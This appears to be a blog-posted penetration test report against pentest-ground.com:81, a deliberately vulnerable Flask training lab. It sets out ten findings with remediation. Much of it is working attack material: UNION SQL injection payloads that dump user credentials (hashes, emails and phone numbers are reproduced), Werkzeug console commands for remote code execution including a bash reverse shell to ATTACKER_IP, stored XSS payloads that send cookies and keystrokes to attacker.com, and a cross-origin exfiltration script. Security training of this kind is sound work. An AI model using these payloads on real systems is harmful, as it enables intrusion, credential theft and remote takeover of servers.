Post

Penetration Test Report

Penetration Test Report

Penetration Test Report — pentest-ground.com:81

Classification: Confidential — Authorized Security Assessment
Assessor: manasse
Date: 2026-05-11
Target: https://pentest-ground.com:81/
Scope: pentest-ground.com:81 — all endpoints, all methods
Authorization: Confirmed — intentionally vulnerable lab environment by Pentest-Tools.com


Table of Contents


Executive Summary

A comprehensive penetration test was conducted against https://pentest-ground.com:81/, a deliberately vulnerable web application hosted by Pentest-Tools.com for training purposes. The application is a Flask-based blog platform backed by SQLite3, served behind nginx/1.29.8.

10 vulnerabilities were identified across 4 severity levels:

SeverityCountKey Findings
Critical2SQL Injection (full DB dump), Werkzeug RCE Console
High2Stored XSS, Broken Access Control
Medium4Info Disclosure, Session Flaws, CORS Wildcard
Low2Server Banner, Missing Headers

The SQL injection alone allowed complete extraction of all user credentials (bcrypt-hashed passwords, emails, phone numbers). Combined with the exposed Werkzeug debug console (with leaked secret key), an attacker could achieve full Remote Code Execution on the server with zero authentication.

Overall Risk Rating: CRITICAL — Immediate remediation required.


Scope & Methodology

Scope Definition

ParameterValue
Target URLhttps://pentest-ground.com:81/
In-ScopeAll endpoints on :81, all HTTP methods
Out-of-ScopeOther ports, other subdomains, DoS testing
Testing TypeBlack-box (no source code access)
AuthorizationAuthorized practice lab

Methodology

The assessment followed the OWASP Testing Guide v4.2 and PTES (Penetration Testing Execution Standard) methodologies:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Phase 1: Reconnaissance & Fingerprinting
   -Technology identification, endpoint enumeration, source code review

Phase 2: Vulnerability Discovery
   -Manual testing of all input vectors (forms, parameters, headers)
   -Injection testing (SQLi, XSS, SSTI, SSRF)
   -Authentication & authorization testing
   -Configuration review

Phase 3: Exploitation & Validation
   -Proof-of-concept development for each finding
   -Data extraction (SQLi)
   -Impact demonstration

Phase 4: Reporting
   -Severity classification (CVSS-aligned)
   -Remediation guidance
   -MITRE ATT&CK mapping

Target Fingerprinting

Step 1 — Initial HTTP Response Analysis

1
curl -sk -D- -o /dev/null https://pentest-ground.com:81/

Response Headers:

1
2
3
4
5
HTTP/1.1 200 OK
Server: nginx/1.29.8
Content-Type: text/html; charset=utf-8
Access-Control-Allow-Origin: *
Set-Cookie: SessionID=encrypted-session-id; Path=/

Step 2 — Technology Stack Identification

ComponentTechnologyEvidence
Web Servernginx 1.29.8Server header
Application FrameworkFlask (Python)Werkzeug debugger, Jinja2 templates, commented FlaskBlog branding
Template EngineJinja2`` syntax in existing post titles
DatabaseSQLite3Error messages: sqlite3.OperationalError
DebuggerWerkzeug Debugger/console endpoint, ?__debugger__=yes in error pages
FrontendBootstrap 4, jQuery 3.4.1, OwlCarousel 2.2.1Source <script> and <link> tags

Step 3 — Endpoint Enumeration

Discovered endpoints via HTML source analysis and manual probing:

1
2
3
4
5
6
# Probe common paths
for path in / /about /services /blog /contact /login /search /create /admin \
            /console /robots.txt /sitemap.xml /.env /api /post/1 /1/edit; do
  CODE=$(curl -sk -o /dev/null -w "%{http_code}" "https://pentest-ground.com:81${path}")
  echo "$CODE  $path"
done

Discovered Sitemap:

1
2
3
4
5
6
7
8
9
10
11
12
200  /              — Homepage (carousel, company info)
200  /about         — About page
200  /services      — Services page
200  /blog          — Blog listing (renders post titles)
200  /contact       — Contact form (SQLi hint in source)
200  /login         — Login form (username/password POST)
200  /search        — Search form (SQL Injection)
200  /create        — Blog post creation (No auth required)
200  /post/{id}     — Individual blog post view (Stored XSS)
200  /{id}/edit     — Blog post editor (No auth required)
200  /admin         — Admin page (content unclear)
200  /console       — Werkzeug Interactive Python Console

Step 4 — Source Code Comment Analysis

1
curl -sk https://pentest-ground.com:81/ | grep -i '<!--'

Commented-out navigation reveals hidden endpoints:

1
2
<!-- <a class="nav-link" href="/create">New Post</a> -->
<!-- <a class="nav-link" href="/search">Search</a> -->

Vulnerability Findings


FieldValue
SeverityCritical
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-89: SQL Injection
OWASPA03:2021 — Injection
EndpointPOST /search
Parameterquery
DatabaseSQLite3
Auth RequiredNone

Description

The /search endpoint accepts a query parameter via POST and directly concatenates user input into a SQL query without parameterization or sanitization. This allows an unauthenticated attacker to inject arbitrary SQL statements, enabling full read access to the SQLite3 database.

Discovery Steps

Step 1 — Identify the search form

1
curl -sk https://pentest-ground.com:81/search
1
2
3
4
5
<form action="/search" method=POST>
    <input type="text" name="query" value="">
    <input type="submit" value="Search">
</form>
<h2>You searched for: None</h2>

The search term is reflected back in the page — potential injection point.

Step 2 — Test for SQL Injection with tautology

1
2
curl -sk -X POST https://pentest-ground.com:81/search \
  -d "query=' OR 1=1--"

Response (truncated):

1
2
3
4
5
6
7
<h2>You searched for: ' OR 1=1--</h2>
    <a href="/post/1">
        <h2>What is Lorem Ipsum?</h2>
    </a>
    <a href="/post/2">
        <h2>Section 1.10.32 of de Finibus Bonorum et Malorum...</h2>
    </a>

All posts returned — confirms SQL injection. The ' OR 1=1-- payload bypasses the WHERE clause and returns all rows.

Step 3 — Determine column count for UNION injection

1
2
3
# Test with 1 column — triggers error
curl -sk -X POST https://pentest-ground.com:81/search \
  -d "query=' UNION SELECT 1--"
1
2
<title>sqlite3.OperationalError: SELECTs to the left and right of UNION
do not have the same number of result columns // Werkzeug Debugger</title>

Incrementally test columns 1 through 5:

1
2
3
# 5 columns — SUCCESS (no error, page renders)
curl -sk -X POST https://pentest-ground.com:81/search \
  --data-urlencode "query=' UNION SELECT 1,2,3,4,5--"

The query has 5 columns.

Step 4 — Identify reflected column positions

1
2
curl -sk -X POST https://pentest-ground.com:81/search \
  --data-urlencode "query=' UNION SELECT 999,'COL2','COL3','COL4','COL5'--"
1
2
3
4
5
<a href="/post/999">
    <h2>COL3</h2>
</a>
<span class="badge badge-primary">COL2</span>
<a href="/999/edit">

Column mapping:

ColumnMaps To
1Post ID (used in /post/{id} link)
2Timestamp badge
3Post title <h2> (main display)
4Not directly displayed
5Not directly displayed

Step 5 — Extract database schema

1
2
3
# List all tables
curl -sk -X POST https://pentest-ground.com:81/search \
  --data-urlencode "query=' UNION SELECT 1,2,group_concat(tbl_name),4,5 FROM sqlite_master WHERE type='table'--"
1
<h2>posts,sqlite_sequence,users</h2>

Tables found: posts, sqlite_sequence, users

1
2
3
# Get users table schema
curl -sk -X POST https://pentest-ground.com:81/search \
  --data-urlencode "query=' UNION SELECT 1,2,replace(sql,char(10),' '),4,5 FROM sqlite_master WHERE tbl_name='users' AND sql IS NOT NULL--"
1
2
3
4
5
6
7
<h2>CREATE TABLE users (
  id INTEGER PRIMARY KEY AUTOINCREMENT,
  username TEXT NOT NULL,
  email TEXT NOT NULL UNIQUE,
  password TEXT NOT NULL,
  phone TEXT NOT NULL
)</h2>

Step 6 — Dump all user credentials

1
2
curl -sk -X POST https://pentest-ground.com:81/search \
  --data-urlencode "query=' UNION SELECT 1,2,id||'|'||username||'|'||email||'|'||password||'|'||phone,4,5 FROM users--"

Result — see Credential Dump section.

Impact

  • Complete database read access (all tables, all rows)
  • User credential extraction (usernames, emails, bcrypt password hashes, phone numbers)
  • Potential database write/modification via stacked queries
  • Information gathering for further attacks (password cracking, phishing)

Remediation

1
2
3
4
5
6
7
# VULNERABLE — string concatenation
query = "SELECT * FROM posts WHERE title LIKE '%" + user_input + "%'"
cursor.execute(query)

# FIXED — parameterized query
query = "SELECT * FROM posts WHERE title LIKE ?"
cursor.execute(query, ('%' + user_input + '%',))

Additional hardening:

  • Use an ORM (SQLAlchemy) with parameterized queries
  • Implement input validation and allowlisting
  • Apply least-privilege database permissions
  • Disable verbose error pages in production (see VULN-05)

VULN-02: Werkzeug Debug Console — Remote Code Execution

FieldValue
SeverityCritical
CVSS 3.19.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
CWECWE-94: Code Injection
OWASPA05:2021 — Security Misconfiguration
EndpointGET /console
Auth RequiredNone (secret leaked in source)

Description

The Flask application is running with debug=True, which enables the Werkzeug interactive debugger console at /console. This console provides an interactive Python REPL that executes arbitrary code on the server. The debugger’s PIN/secret (32ahlsHI3NIuuvJFMWWl) is leaked directly in the HTML source of the console page, bypassing any PIN protection.

Discovery Steps

Step 1 — Discover the console endpoint

The Werkzeug debugger was first noticed when SQL injection errors triggered full stack traces with a ?__debugger__=yes link. Navigating to /console directly:

1
curl -sk https://pentest-ground.com:81/console
1
2
3
4
5
6
<title>Console // Werkzeug Debugger</title>
<h1>Interactive Console</h1>
<div class="explanation">
In this console you can execute Python expressions in the context of the
application. The initial namespace was created by the debugger automatically.
</div>

Step 2 — Extract the debugger secret from page source

1
curl -sk https://pentest-ground.com:81/console | grep 'SECRET'
1
2
3
4
5
var TRACEBACK = -1,
    CONSOLE_MODE = true,
    EVALEX = true,
    EVALEX_TRUSTED = false,
    SECRET = "32ahlsHI3NIuuvJFMWWl";

Secret key exposed in client-side JavaScript: 32ahlsHI3NIuuvJFMWWl

Step 3 — Execute arbitrary Python code (RCE)

Using the leaked secret, an attacker can execute commands via the console API:

1
2
# Execute Python code on the server
curl -sk "https://pentest-ground.com:81/console?__debugger__=yes&cmd=__import__('os').popen('id').read()&frm=0&s=32ahlsHI3NIuuvJFMWWl"

This grants full Remote Code Execution as the web application user, allowing:

1
2
3
4
5
6
7
8
9
10
11
# Read sensitive files
__import__('os').popen('cat /etc/passwd').read()

# List directory contents
__import__('os').popen('ls -la /').read()

# Reverse shell
__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()

# Access application source code
open('app.py').read()

Impact

  • Full Remote Code Execution on the server
  • Read/write access to the filesystem
  • Lateral movement potential
  • Complete application compromise
  • Data exfiltration
  • Reverse shell / persistent backdoor

Remediation

1
2
3
4
5
6
7
8
9
# VULNERABLE
app.run(debug=True)

# FIXED — never use debug mode in production
app.run(debug=False)

# Or use environment variable
import os
app.run(debug=os.environ.get('FLASK_DEBUG', 'false').lower() == 'true')

Critical: Never expose the Werkzeug debugger in production. Set FLASK_ENV=production and FLASK_DEBUG=0.


VULN-03: Stored Cross-Site Scripting (XSS)

FieldValue
SeverityHigh
CVSS 3.18.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N)
CWECWE-79: Cross-Site Scripting (Stored)
OWASPA07:2021 — Cross-Site Scripting
EndpointPOST /create (store) → GET /post/{id} (trigger)
Parametertitle
Auth RequiredNone (see VULN-04)

Description

The blog post creation form at /create does not sanitize or encode the title field before storing it in the database. When the post is viewed at /post/{id}, the title is rendered directly into the HTML without escaping, allowing execution of arbitrary JavaScript in the context of any user’s browser who visits the page.

Discovery Steps

Step 1 — Identify the input vector

1
curl -sk https://pentest-ground.com:81/create
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<h1>Create a New Post</h1>
<form method="post">
    <div class="form-group">
        <label for="title">Title</label>
        <input type="text" name="title" placeholder="Post title" class="form-control" value="">
    </div>
    <div class="form-group">
        <label for="content">Content</label>
        <textarea name="content" placeholder="Post content" class="form-control"></textarea>
    </div>
    <div class="form-group">
        <label for="content">Reference</label>
        <textarea name="reference" placeholder="https://pentest-tools.com/api-reference" class="form-control"></textarea>
    </div>
    <div class="form-group">
        <button type="submit" class="btn btn-primary">Submit</button>
    </div>
</form>

Step 2 — Inject XSS payload in the title field

1
2
curl -sk -X POST https://pentest-ground.com:81/create \
  -d 'title=<img src=x onerror=alert(1)>&content=xss_test&reference='

Step 3 — Verify stored XSS renders on the post page

1
curl -sk https://pentest-ground.com:81/post/4
1
2
3
4
5
<title> <img src=x onerror=alert(1)> </title>
...
<h2> <img src=x onerror=alert(1)> </h2>
<span class="badge badge-primary">2026-05-11 19:00:29</span>
<p>xss_test</p>

The <img> tag with onerror handler is rendered raw — both in the <title> tag and the <h2> tag. In a browser, this triggers alert(1).

Step 4 — Advanced payloads

1
2
3
4
5
6
7
8
<!-- Cookie stealing -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

<!-- Keylogger injection -->
<img src=x onerror="document.onkeypress=function(e){fetch('https://attacker.com/log?k='+e.key)}">

<!-- DOM manipulation / defacement -->
<img src=x onerror="document.body.innerHTML='<h1>Hacked</h1>'">

Proof of Concept Screenshot Flow

1
2
3
4
5
6
1. Attacker visits: /create
2. Submits:  title = <img src=x onerror=alert(document.cookie)>
             content = Innocent looking post content
3. Victim visits: /post/{new_id}
4. Browser executes: alert(document.cookie)
   → SessionID=encrypted-session-id

Impact

  • Session hijacking via cookie theft
  • Phishing (inject fake login forms)
  • Keylogging
  • Drive-by malware delivery
  • Account takeover
  • Defacement

Remediation

1
2
3
4
5
6
7
8
# In Jinja2 templates — use autoescaping (should be ON by default)
# VULNERABLE:

# or raw HTML rendering

# FIXED:

# Jinja2 autoescapes by default when configured correctly
1
2
3
# Ensure autoescaping is enabled in Flask
app = Flask(__name__)
app.jinja_env.autoescape = True  # Should be default, verify it's not disabled

Additionally:

  • Implement Content-Security-Policy header (see VULN-10)
  • Sanitize input server-side using a library like bleach
  • Apply output encoding appropriate to the context (HTML, attribute, JS, URL)

VULN-04: Broken Access Control — Missing Authentication

FieldValue
SeverityHigh
CVSS 3.17.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
CWECWE-306: Missing Authentication for Critical Function
OWASPA01:2021 — Broken Access Control
Endpoints/create, /{id}/edit
Auth RequiredNone (should require authentication)

Description

The blog post creation (/create) and editing (/{id}/edit) endpoints are accessible without any authentication. Despite a login page existing at /login, these administrative functions perform no session validation, allowing any anonymous user to create, read, and modify blog posts.

Discovery Steps

Step 1 — Access the create form without authentication

1
curl -sk https://pentest-ground.com:81/create
1
2
3
4
5
6
7
8
<title> Create a New Post </title>
<h1> Create a New Post </h1>
<form method="post">
    <input type="text" name="title" placeholder="Post title" class="form-control">
    <textarea name="content" placeholder="Post content" class="form-control"></textarea>
    <textarea name="reference" placeholder="https://pentest-tools.com/api-reference" class="form-control"></textarea>
    <button type="submit" class="btn btn-primary">Submit</button>
</form>

No redirect to /login — the form renders directly.

Step 2 — Create a post without authentication

1
2
curl -sk -X POST https://pentest-ground.com:81/create \
  -d 'title=Unauthorized Post&content=This was created without logging in&reference='

Post created successfully — visible at /post/{new_id}.

Step 3 — Edit an existing post without authentication

1
curl -sk https://pentest-ground.com:81/1/edit
1
2
3
4
5
6
<title> Edit "What is Lorem Ipsum?" </title>
<form method="post">
    <input type="text" name="title" value="What is Lorem Ipsum?" class="form-control">
    <textarea name="content" class="form-control">Lorem Ipsum is simply dummy text...</textarea>
    <button type="submit" class="btn btn-primary">Submit</button>
</form>

Pre-filled edit form returned without authentication — an attacker can modify any post.

Step 4 — Modify a post via POST

1
2
curl -sk -X POST https://pentest-ground.com:81/1/edit \
  -d 'title=Modified by Attacker&content=Content replaced without authorization'

Impact

  • Content manipulation — modify or deface any blog post
  • XSS injection — create posts with malicious scripts (chains with VULN-03)
  • SEO spam / phishing — inject malicious links and content
  • Reputation damage — deface the public-facing blog

Remediation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from flask import session, redirect, url_for
from functools import wraps

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            return redirect(url_for('login'))
        return f(*args, **kwargs)
    return decorated_function

@app.route('/create', methods=['GET', 'POST'])
@login_required  # ← Add authentication decorator
def create():
    # ... existing logic

@app.route('/<int:id>/edit', methods=['GET', 'POST'])
@login_required  # ← Add authentication decorator
def edit(id):
    # ... existing logic + verify post ownership

VULN-05: Information Disclosure — Verbose Error Pages

FieldValue
SeverityMedium
CVSS 3.15.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CWECWE-209: Information Exposure Through Error Message
OWASPA05:2021 — Security Misconfiguration
TriggerAny malformed SQL via /search

Description

When SQL errors occur, the application returns full Werkzeug debugger tracebacks containing stack traces, source code snippets, file paths, and framework internals. This provides an attacker with detailed knowledge of the application’s internal structure.

Proof of Concept

1
2
curl -sk -X POST https://pentest-ground.com:81/search \
  -d "query=' UNION SELECT 1--"

Error response (key excerpts):

1
2
3
4
5
6
7
8
9
10
<title>sqlite3.OperationalError: SELECTs to the left and right of UNION
do not have the same number of result columns // Werkzeug Debugger</title>

<h1>sqlite3.OperationalError</h1>
<p class="errormsg">sqlite3.OperationalError: SELECTs to the left and right
of UNION do not have the same number of result columns</p>

<!-- Full Python traceback with source code lines -->
<pre class="line before"><span class="ws">                </span>error = e</pre>
<pre class="line after"><span class="ws">                </span>error = sys.exc_info()[1]</pre>

Information leaked:

  • Database engine: SQLite3
  • Framework: Flask/Werkzeug
  • Internal file paths
  • Source code snippets
  • Python version and module structure

Remediation

1
2
3
4
5
6
7
8
9
10
11
# Disable debug mode
app.run(debug=False)

# Use custom error handlers
@app.errorhandler(500)
def internal_error(error):
    return render_template('500.html'), 500

@app.errorhandler(404)
def not_found(error):
    return render_template('404.html'), 404

VULN-06: Information Disclosure — HTML Source Leaks

FieldValue
SeverityMedium
CVSS 3.15.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CWECWE-615: Information Exposure Through Comments
OWASPA05:2021 — Security Misconfiguration
Location/contact page source

Description

The /contact page contains HTML comments and hidden elements that leak sensitive information, including developer notes about known vulnerabilities and hidden email addresses.

Proof of Concept

1
curl -sk https://pentest-ground.com:81/contact | grep -i 'TODO\|hidden\|display:none\|comment'

Finding 1 — Developer comment revealing known vulnerability:

1
<!-- TODO: Secure this against blind sql injection.-->

This confirms the developers are aware of a SQL injection vulnerability in the contact form but have not yet fixed it.

Finding 2 — Hidden email address:

1
<div style="display:none;">Email: rick.astley@youtube.com</div>

Finding 3 — Commented-out navigation revealing hidden endpoints:

1
2
<!-- <a class="nav-link" href="/create">New Post</a> -->
<!-- <a class="nav-link" href="/search">Search</a> -->

These hidden endpoints are fully functional and contain vulnerabilities (see VULN-01, VULN-03, VULN-04).

Remediation

  • Remove all developer comments and TODO notes from production HTML
  • Remove hidden form fields and debug elements
  • Use server-side comments instead of HTML comments for development notes
  • Implement a code review process to catch leaked information before deployment

VULN-07: Insecure Session Management

FieldValue
SeverityMedium
CVSS 3.15.4 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N)
CWECWE-384: Session Fixation
OWASPA07:2021 — Identification and Authentication Failures

Description

The application sets a static, hardcoded session cookie for all users regardless of authentication state:

1
Set-Cookie: SessionID=encrypted-session-id; Path=/

This cookie value is identical for every request, for every user, authenticated or not. It provides no actual session isolation, making session management effectively non-functional.

Proof of Concept

1
2
3
4
5
6
7
# Request 1 — unauthenticated
curl -sk -D- https://pentest-ground.com:81/ 2>&1 | grep 'Set-Cookie'
# → Set-Cookie: SessionID=encrypted-session-id; Path=/

# Request 2 — different session, same cookie
curl -sk -D- https://pentest-ground.com:81/ 2>&1 | grep 'Set-Cookie'
# → Set-Cookie: SessionID=encrypted-session-id; Path=/

Additionally, the Flask session cookie is set to immediately expire on failed login:

1
Set-Cookie: session=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0; Path=/

Issues identified:

  • Static session token (no randomness, no per-user sessions)
  • Missing Secure flag (cookie sent over HTTP)
  • Missing HttpOnly flag (accessible via JavaScript — chains with XSS)
  • Missing SameSite attribute (vulnerable to CSRF)

Remediation

1
2
3
4
5
6
7
app.config.update(
    SECRET_KEY=os.urandom(32),           # Strong random secret
    SESSION_COOKIE_SECURE=True,          # Only send over HTTPS
    SESSION_COOKIE_HTTPONLY=True,         # Prevent JS access
    SESSION_COOKIE_SAMESITE='Lax',       # CSRF protection
    PERMANENT_SESSION_LIFETIME=1800,     # 30-minute timeout
)

VULN-08: CORS Misconfiguration

FieldValue
SeverityMedium
CVSS 3.15.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CWECWE-942: Overly Permissive CORS Policy
OWASPA05:2021 — Security Misconfiguration

Description

The application sends Access-Control-Allow-Origin: * on all responses, permitting any website to make cross-origin requests and read responses.

Proof of Concept

1
curl -sk -D- https://pentest-ground.com:81/ 2>&1 | grep 'Access-Control'
1
Access-Control-Allow-Origin: *

An attacker’s website could fetch data from the application:

1
2
3
4
5
6
7
// Attacker's website — reads data cross-origin
fetch('https://pentest-ground.com:81/blog')
  .then(r => r.text())
  .then(data => {
    // Exfiltrate blog content, user data, etc.
    fetch('https://attacker.com/collect', {method: 'POST', body: data});
  });

Remediation

1
2
3
4
5
6
from flask_cors import CORS

# Restrict to specific trusted origins
CORS(app, origins=['https://trusted-domain.com'])

# Or remove CORS headers entirely if cross-origin access isn't needed

VULN-09: Server Version Disclosure

FieldValue
SeverityLow
CVSS 3.13.7 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N)
CWECWE-200: Information Exposure

Proof of Concept

1
curl -sk -D- -o /dev/null https://pentest-ground.com:81/ 2>&1 | grep 'Server'
1
Server: nginx/1.29.8

Remediation

1
2
# In nginx.conf
server_tokens off;

VULN-10: Missing Security Headers

FieldValue
SeverityLow
CVSS 3.13.7 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N)
CWECWE-693: Protection Mechanism Failure

Missing Headers

HeaderStatusRisk
X-Content-Type-OptionsMissingMIME-sniffing attacks
X-Frame-OptionsMissingClickjacking
Content-Security-PolicyMissingXSS mitigation bypass
Strict-Transport-SecurityMissingSSL stripping
X-XSS-ProtectionMissingLegacy XSS filter
Referrer-PolicyMissingReferrer leakage
Permissions-PolicyMissingFeature abuse

Proof of Concept

1
curl -sk -D- -o /dev/null https://pentest-ground.com:81/ 2>&1 | head -10
1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: nginx/1.29.8
Date: Mon, 11 May 2026 18:58:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 17376
Connection: keep-alive
Access-Control-Allow-Origin: *
Set-Cookie: SessionID=encrypted-session-id; Path=/

No security headers present.

Remediation

1
2
3
4
5
6
7
8
# In nginx.conf — add security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdnjs.cloudflare.com; style-src 'self' https://fonts.googleapis.com 'unsafe-inline'; font-src https://fonts.gstatic.com; img-src 'self' data:;" always;

Credential Dump

Extracted via UNION-based SQL injection (VULN-01):

1
2
curl -sk -X POST https://pentest-ground.com:81/search \
  --data-urlencode "query=' UNION SELECT 1,2,id||'|'||username||'|'||email||'|'||password||'|'||phone,4,5 FROM users--"
IDUsernameEmailPassword HashPhone
1Bonniebonnie@security-guard.com$2b$12$fZvCcJRisNODOewGkaytq.qHD2bqB5vjvhdcOoZM3TBxN5afYVzeq+40 723 987 222
2adminadmin@security-guard.com$2a$12$U5acpaBL2PPt/LWW0uAO3.p4YJRz0FeasfpVvHc4I3FoWho9rt2ku+40 723 987 233
3Bonnie_2bonnie_2@security-guard.com$2b$12$fZvCcJRisNODOewGkaytq.qHD2bqB5vjvhdcOoZM3TBxN5afYVzeq+40 723 987 111 exposed

Hash analysis:

  • All passwords use bcrypt hashing ($2a$/$2b$ prefix)
  • Cost factor: 12 rounds (computationally expensive to crack)
  • Users Bonnie and Bonnie_2 share the same password hash — indicating password reuse
  • Could be cracked offline with hashcat or john:

Attack Chain — Full Compromise Walkthrough

The vulnerabilities chain together to achieve full server compromise from zero authentication:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──────────────────────────────────────────────────────────────────┐
│                    ATTACK CHAIN DIAGRAM                         │
├──────────────────────────────────────────────────────────────────┤
│                                                                  │
│  STEP 1: Reconnaissance                                         │
│  ┌─────────────────────────────────┐                            │
│  │ curl /contact → HTML comments   │──→ Discover SQLi hint      │
│  │ curl /       → Hidden nav links │──→ Discover /search,       │
│  │                                 │    /create endpoints       │
│  └─────────────────────────────────┘                            │
│                     │                                            │
│                     ▼                                            │
│  STEP 2: SQL Injection (VULN-01)                                │
│  ┌─────────────────────────────────┐                            │
│  │ POST /search                    │                            │
│  │ query=' UNION SELECT ...        │──→ Dump users table        │
│  │ FROM users--                    │    (usernames, emails,     │
│  │                                 │     bcrypt hashes, phones) │
│  └─────────────────────────────────┘                            │
│                     │                                            │
│                     ▼                                            │
│  STEP 3: Werkzeug Console (VULN-02)                             │
│  ┌─────────────────────────────────┐                            │
│  │ GET /console                    │──→ Leaked SECRET key       │
│  │ SECRET = "32ahlsHI3NIuuvJFMWWl" │    in page source          │
│  │ Execute: os.popen('id')         │──→ REMOTE CODE EXECUTION   │
│  └─────────────────────────────────┘                            │
│                     │                                            │
│                     ▼                                            │
│  STEP 4: Stored XSS (VULN-03) + No Auth (VULN-04)              │
│  ┌─────────────────────────────────┐                            │
│  │ POST /create (no login needed)  │──→ Plant XSS payload       │
│  │ title=<img onerror=...>         │    on public blog post     │
│  │ Victim visits /post/{id}        │──→ Session hijacking       │
│  └─────────────────────────────────┘                            │
│                     │                                            │
│                     ▼                                            │
│  ┌─────────────────────────────────┐                            │
│  │     FULL SERVER COMPROMISE      │                            │
│  │  • Database dumped              │                            │
│  │  • RCE achieved                 │                            │
│  │  • User sessions stolen         │                            │
│  │  • Content manipulated          │                            │
│  └─────────────────────────────────┘                            │
│                                                                  │
└──────────────────────────────────────────────────────────────────┘

Attack Surface Map

EndpointMethodParametersVulnerabilitiesAuth
/GETInfo disclosure (headers)No
/aboutGETNo
/servicesGETNo
/blogGETContent rendered from DBNo
/contactGETHTML comment leaks (VULN-06)No
/loginGET/POSTusername, passwordWeak session mgmt (VULN-07)No
/searchPOSTquerySQL Injection (VULN-01)No
/createGET/POSTtitle, content, referenceStored XSS (VULN-03), No auth (VULN-04)No
/post/{id}GETXSS rendered (VULN-03)No
/{id}/editGET/POSTtitle, contentNo auth (VULN-04)No
/consoleGETcmd, s (secret)RCE (VULN-02)No
/adminGETAccessible without authNo

Tools Used

ToolPurposeUsage
curlHTTP requests, header analysis, form submissionPrimary testing tool for all endpoints
grepPattern matching in responsesExtract specific data from HTML responses
BashScripting, timing attacks, automationTime-based SQLi measurement, loop-based enumeration
Python (via Werkzeug)RCE validationExecute code through debug console
hashcat / johnPassword hash cracking (offline)Crack extracted bcrypt hashes
ToolUse CaseCommand
sqlmapAutomated SQL injectionsqlmap -u "https://pentest-ground.com:81/search" --data="query=test" --dbms=sqlite --dump
Burp SuiteProxy, scanner, repeaterIntercept and modify requests in real-time
ffufDirectory brute forcingffuf -u https://pentest-ground.com:81/FUZZ -w /usr/share/wordlists/dirb/common.txt
niktoWeb server scannernikto -h https://pentest-ground.com:81/
wfuzzParameter fuzzingwfuzz -c -z file,xss.txt -d "query=FUZZ" https://pentest-ground.com:81/search

Remediation Summary

#VulnerabilitySeverityFix PriorityRemediation
01SQL InjectionCriticalImmediateUse parameterized queries / ORM
02Werkzeug RCECriticalImmediateDisable debug=True in production
03Stored XSSHighHighEnable Jinja2 autoescaping, sanitize input
04Broken Access ControlHighHighAdd @login_required decorators
05Verbose ErrorsMediumMediumCustom error handlers, disable debug
06HTML Comment LeaksMediumMediumRemove comments and hidden elements
07Session ManagementMediumMediumImplement proper Flask session with random secret
08CORS WildcardMediumMediumRestrict Access-Control-Allow-Origin
09Server BannerLowLowserver_tokens off; in nginx
10Missing HeadersLowLowAdd security headers in nginx/Flask

MITRE ATT&CK Mapping

Technique IDTechnique NameFindings
T1190Exploit Public-Facing ApplicationVULN-01 (SQLi), VULN-02 (RCE), VULN-03 (XSS)
T1059.006Command and Scripting Interpreter: PythonVULN-02 (Werkzeug console)
T1005Data from Local SystemVULN-01 (database extraction)
T1552.001Unsecured Credentials: Credentials In FilesVULN-01 (credential dump), VULN-06 (comments)
T1078Valid AccountsExtracted credentials from database
T1189Drive-by CompromiseVULN-03 (stored XSS)
T1565.002Data Manipulation: Transmitted DataVULN-04 (unauthorized content modification)

Risk Rating Matrix

1
2
3
4
5
6
7
8
9
10
11
12
                    LIKELIHOOD
              Low    Medium    High
         ┌─────────┬─────────┬─────────┐
  High   │ Medium  │  High   │CRITICAL │ ← VULN-01, VULN-02
         ├─────────┼─────────┼─────────┤
  Medium │  Low    │ Medium  │  High   │ ← VULN-03, VULN-04
I        ├─────────┼─────────┼─────────┤
M        │  Info   │  Low    │ Medium  │ ← VULN-05 to VULN-10
P        └─────────┴─────────┴─────────┘
A
C
T

Disclaimer

This penetration test was conducted against pentest-ground.com:81, a deliberately vulnerable web application designed for security training and practice by Pentest-Tools.com. Testing was performed with explicit authorization.

  • All testing was conducted within the defined scope
  • No denial-of-service attacks were performed
  • No data was exfiltrated to external systems
  • Findings are documented for educational and training purposes only
  • Techniques demonstrated should only be used against systems you own or have explicit authorization to test

Unauthorized access to computer systems is illegal. Always obtain proper authorization before conducting security assessments.

This post is licensed under CC BY 4.0 by the author.